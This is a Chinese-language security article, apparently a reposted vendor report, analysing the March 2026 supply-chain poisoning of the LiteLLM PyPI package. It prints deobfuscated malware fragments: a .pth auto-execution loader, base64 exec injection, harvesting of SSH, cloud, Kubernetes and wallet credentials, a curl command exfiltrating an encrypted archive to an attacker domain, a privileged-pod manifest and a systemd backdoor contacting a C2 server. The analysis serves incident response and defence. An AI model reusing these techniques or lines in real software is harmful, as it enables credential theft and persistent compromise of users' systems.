文章总结： 该文档深度解析LiteLLM供应链投毒事件，攻击者入侵CI/CD流程植入恶意代码，窃取SSH密钥与云凭据。文章详述了攻击复现、载荷解密及持久化机制，指出AI供应链脆弱性，建议用户立即吊销密钥并强化权限管控。 综合评分： 96 文章分类： 供应链安全,恶意软件,威胁情报,应急响应

---

LiteLLM供应链投毒攻击事件解析

计算机与网络安全

2026年3月28日 10:03 山东

近日，人工智能领域发生了一起震动全球开发者的安全事件。作为AI开发核心枢纽的LiteLLM网关遭遇供应链投毒攻击，大量使用者的密钥与敏感信息被窃取。这一事件被业界称为“教科书级别的供应链攻击”，其影响范围之广、危害程度之深，再次暴露出当前AI供应链体系的安全隐患。

LiteLLM作为AI网关，能够代理100多种大语言模型（LLM）的API，被广泛应用于AI编程与服务编排场景。目前其在GitHub上拥有超过4万Star，在PyPI的月下载量达9600万次。然而，正是这样一个备受信赖的基础设施组件，成为了攻击者的目标。

这一事件引发了业界高度关注。OpenAI创始人之一安德烈·卡帕西（Andrej Karpathy）发长推文警告所有开发者注意这一风险，甚至用”软件恐怖事件“来形容。他指出，现代软件项目往往依赖复杂的依赖链条，一旦其中任意环节被污染，风险将迅速传导至整个系统。攻击者通过不断窃取凭据，可以持续扩大攻击范围，实现级联放大效应。

特斯拉创始人埃隆·马斯克也在社交媒体上引用拉丁语”Caveat emptor”（买者自负），提醒大家注意承担风险。英伟达机器人部门总监及杰出科学家Jim Fan也表达了关切，强调AI基础设施安全的重要性。

奇安信技术研究院星图实验室第一时间发布《飞驰的AI列车下的隐患：Litellm AI供应链投毒事件分析》报告，依托“天问”软件供应链安全分析平台，尤其是天问供应链威胁监测模块，对Python、npm等主流的开发生态进行了长期、持续的监测，发现了大量的恶意包和攻击行为。

以下为分析报告全文

1. LiteLLM被投毒事件回顾

1.1 LiteLLM简介及攻击回顾

LiteLLM 作为 AI 网关，能够代理 100 多种大语言模型（LLM）的 API，被广泛应用于 AI 编程与服务编排场景。目前其在 GitHub 上拥有超过 4 万 Star，在 PyPI 的月下载量也超过 9600 万次。

2026 年 3 月 24 日，LiteLLM 在 PyPI 上遭遇供应链投毒攻击，1.82.7 与 1.82.8 两个版本被植入恶意代码。攻击代码会自动窃取受害者机器中的多类敏感凭据，包括 SSH 密钥、AWS/GCP/Azure 云服务凭据以及 Kubernetes Token 等。目前相关恶意版本已被官方移除。

1.2 恶意代码中的bug导致攻击露出马脚

此次投毒事件最早由 FutureSearch 发现并上报 PyPI，随后相关恶意版本被迅速下架，整体存活时间约为 5 小时。FutureSearch 在其博客中披露了事件细节[1]，而此次攻击的暴露，恰恰源于攻击者代码中的一个逻辑缺陷。

恶意代码被植入在.pth文件中。由于 Python 在启动时会自动执行.pth文件中的代码，攻击载荷在解释器启动阶段即被触发。该恶意代码通过启动子进程执行 payload，而子进程再次触发.pth执行，形成类似“分支炸弹”的效果，迅速耗尽系统资源，从而引起研究人员注意。

一次本可长期潜伏的供应链攻击，也因此被意外暴露并及时阻断。

litellm_init.pth

import os, subprocess, sys; subprocess.Popen([sys.executable, “-c”, “import base64; exec(base64.b64decode(‘aW1wb3J0IHN….’))”], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

1.3 AI供应链安全的脆弱性

根据 Snyk 的分析报告[2]，此次攻击由 TeamPCP 组织发起。攻击者通过入侵 LiteLLM CI/CD 流程中使用的开源安全扫描工具 Trivy，获取了维护者的 PyPI 发布凭证，并利用该凭证发布了包含恶意载荷的 1.82.7 与 1.82.8 版本。

此次事件导致大量敏感凭据被窃取，受影响用户需要立即吊销并替换相关密钥，以避免后续风险扩散。

OpenAI的创始人之一Andrej Karpathy也对此次事件表达了担忧。他指出，现代软件项目往往依赖复杂的依赖链条，一旦其中任意环节被污染，风险将迅速传导至整个系统。攻击者通过不断窃取凭据，可以持续扩大攻击范围，实现级联放大效应。

例如，当前流行的 MCP 工具browser-use在 GitHub 上拥有超过 8 万 Star，其依赖链中包含litellm。在攻击窗口期内使用该工具，可能直接导致用户被攻击。此外，browser-use官方推荐使用uvx启动 MCP 服务，而uvx每次执行都会重新拉取依赖，这进一步放大了攻击影响。目前该项目已移除相关恶意依赖。

2. 攻击原理解析

2.1 攻击复现

pyproject.toml

litellm-1.82.8 通过 .pth 文件加载恶意载荷，使攻击代码在 Python 启动时自动执行。我们复现了相关攻击流程如上。通过分析其pyproject.toml，我们发现litellm_init.pth被显式打包，在用户安装后会被放置到site-packages目录中。

2.2 原理解析

通过分析 CPython 源码可以发现，Python 在启动时会自动加载site模块，该模块负责初始化运行环境并加载site-packages目录。

进一步分析site.py可知，其会扫描并执行site-packages目录下所有.pth文件中的import语句。因此，攻击者无需任何用户交互，即可在安装完成后自动触发恶意代码执行。

3. 攻击代码解析

3.1 两种注入方式

两个恶意版本的注入方式存在差异：

1.82.7：在litellm/proxy/proxy_server.py中注入代码

1.82.8：通过.pth文件在启动阶段执行

litellm/proxy/proxy_server.py

… import subprocess, base64, sys, tempfile, os

b64_payload = “aW1wb3J0IHN1YnBy…” with tempfile.TemporaryDirectory() as d:     p = os.path.join(d, “p.py”)     with open(p, “wb”) as f:         f.write(base64.b64decode(b64_payload))

    subprocess.run([sys.executable, p])     …

litellm/proxy/__init__.py

from . import *

当proxy模块被导入时，恶意代码即被执行。

3.2 恶意代码解析

通过对litellm_init.pth中的恶意代码进行反混淆，我们获得了如下代码。

Decoded Payload

import subprocess import tempfile import os import base64 import sys

PUB_KEY_CONTENT = “””—–BEGIN PUBLIC KEY—– MIICIj…AAQ== —–END PUBLIC KEY—–“””

B64_SCRIPT = “aW1wb3J0IG9zLH…”

def run():     … try:     subprocess.run([“openssl”, “rand”, “-out”, sk, “32”], check=True)     subprocess.run([“openssl”, “enc”, “-aes-256-cbc”, “-in”, collected, “-out”, ef, “-pass”, f”file:{sk}”, “-pbkdf2”], check=True, stderr=subprocess.DEVNULL)     subprocess.run([“openssl”, “pkeyutl”, “-encrypt”, “-pubin”, “-inkey”, pk, “-in”, sk, “-out”, ek, “-pkeyopt”, “rsa_padding_mode:oaep”], check=True, stderr=subprocess.DEVNULL)     subprocess.run([“tar”, “-czf”, bn, “-C”, d, “payload.enc”, “session.key.enc”], check=True)

    subprocess.run([         “curl”, “-s”, “-o”, “/dev/null”, “-w”, “%{http_code}”, “-X”, “POST”,         “https[:]//models.litellm.cloud/”,         “-H”, “Content-Type: application/octet-stream”,         “-H”, “X-Filename: tpcp.tar.gz”,         “–data-binary”, f”@{bn}”     ], check=True, stderr=subprocess.DEVNULL) except Exception:     pass

Decoded Payload (Continued)

import os,sys,stat,subprocess,glob … run(‘hostname; pwd; whoami; uname -a; ip addr 2>/dev/null || ifconfig 2>/dev/null; ip route 2>/dev/null’) run(‘printenv’) … for h in homes+[‘/root’]:     for f in [‘/.ssh/id_rsa’,’/.ssh/id_ed25519′,’/.ssh/id_ecdsa’,’/.ssh/id_dsa’,’/.ssh/authorized_keys’,’/.ssh/known_hosts’,’/.ssh/config’]:         emit(h+f)     walk([h+’/.ssh’],2,lambda fp,fn:True) … emit(‘/var/lib/postgresql/.pgpass’) emit(‘/etc/mysql/my.cnf’) emit(‘/etc/redis/redis.conf’) …

具体攻击逻辑如下：

系统信息收集

run(‘hostname; pwd; whoami; uname -a; ip addr…’) run(‘printenv’)

多维度凭据窃取

• SSH密钥:

• ~/.ssh/id_rsa, id_ed25519, authorized_keys等

• 云服务凭据:

• AWS(~/.aws/credentials)、GCP(~/.config/gcloud)、Azure(~/.azure)

• Kubernetes:/var/run/secrets/kubernetes.io/serviceaccount/token, kubeconfig等

• 数据库:

• .pgpass, .my.cnf, Redis/Mongo配置

• Docker:~/.docker/config.json

• 加密货币钱包:

  Bitcoin、Ethereum、Solana等密钥文件

AWS凭据深度利用通过IMDSv2获取实例角色临时凭据，并调用Secrets Manager和SSM Parameter Store：

tkn_req = urllib.request.Request(‘http[:]//169.254.169.254/latest/api/token’, …)   cred_req = urllib.request.Request(‘http[:]//169.254.169.254/latest/meta-data/iam/security-credentials/’, …)   sm = aws_req(‘POST’, ‘secretsmanager’, REG, ‘/’, ‘Action=ListSecrets’,…)

Kubernetes集群渗透利用ServiceAccount Token横向移动，枚举全集群Secrets，并在每个节点部署特权Pod实现持久化：

pod_manifest = {     ‘hostPID’: True,     ‘hostNetwork’: True,     ‘tolerations’: [{‘operator’: ‘Exists’}],     ‘securityContext’: {‘privileged’: True},     ‘volumeMounts’: [{‘name’: ‘host’, ‘mountPath’: ‘/host’}] } k8s_post(‘/api/v1/namespaces/kube-system/pods’,pod_manifest)

持久化机制通过systemd用户服务安装后门，定期从C2 (checkmarx.zone) 获取指令：

PERSIST_B64 = ‘aW1wb3J0IHVybGxpYi5yZXF1ZXN0…’

解码后为下载执行器

创建 ~/.config/sysmon/sysmon.py 和 systemd服务

subprocess.run([‘systemctl’, ‘–user’, ‘enable’, ‘–now’, ‘sysmon.service’])

3.3 攻击总结

该样本为云原生环境下的高级持续性威胁(APT)工具，具备以下特征：

• 针对多云平台(AWS/GCP/Azure/K8s)的凭据窃取
• 利用容器逃逸和特权Pod实现集群内横向移动
• 加密外传+后门持久化的完整攻击链
• 伪装成”System Telemetry Service”隐藏痕迹

4. 总结

此次针对 LiteLLM 的 PyPI 供应链投毒事件，再次暴露了当前 AI 生态在安全层面的脆弱性。尽管 AI 正在深刻改变我们的工作方式与生活模式，但其底层仍依赖于由大量基础代码构成的工具链，例如 agent、MCP 等组件。一旦其中任意环节遭到攻击，影响便可能迅速放大，给用户带来难以估量的损失。与此同时，AI 系统正逐渐具备更高权限，能够自动执行代码、下载并安装依赖，这在提升效率的同时，也显著扩大了潜在攻击面。在这样的背景下，安全责任的边界变得愈发模糊：是依赖平台治理、开发者自律，还是需要引入以 AI 对抗 AI 的自动化防御机制，这些都值得深入思考。此外，密钥窃取问题尤为值得警惕。一旦攻击者获取有效凭证，便可持续扩大攻击范围，形成连锁风险。因此，密钥管理与访问控制同样应成为 AI 供应链安全的重要防线。

AI 正如一列高速飞驰的列车，推动社会不断向前发展。但若忽视其底层结构的安全隐患，哪怕是一个看似不起眼的“轴承”出现问题，也可能带来系统性的风险。如何在加速创新的同时筑牢安全底座，将是未来 AI 发展过程中必须正视的关键课题。

恶意包列表

| 包名 | 版本 | 上传时间 | 删除时间 | | — | — | — | — | | litellm | 1.82.7 | UTC 2026-03-24 10:39:24 | UTC 2026-03-24 15:20:24 | | litellm | 1.82.8 | UTC 2026-03-24 10:52:19 | UTC 2026-03-24 15:20:13 |

以下文文档已上传至星球

点这里自助下载

Apifox供应链投毒调查分析报告.pdf

LiteLLM供应链投毒调查分析报告.pdf

ContextHub文档投毒调查分析报告.pdf

2026年02月勒索软件流行态势分析.pdf

2025年网络安全漏洞态势报告.pdf

2025开源供应链投毒分析技术报告.pdf

OWASP TOP 10 2025（中文版）.pdf

人工智能攻击.pdf

2026红队评价框架.pdf

2026年1月勒索软件流行态势分析.pdf

2025年网络空间安全漏洞态势分析研究报告.pdf

2025年全球高级持续性威胁（APT）研究报告.pdf

2025年度网络安全漏洞威胁态势研究报告.pdf

2025年度网络安全漏洞分析报告.pdf

实战化工业靶场应用指南（2025版）.pdf

2025年网络攻击威胁洞察报告.pdf

网络安全群

来源：奇安信

---

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：计算机与网络安全 《LiteLLM供应链投毒攻击事件解析》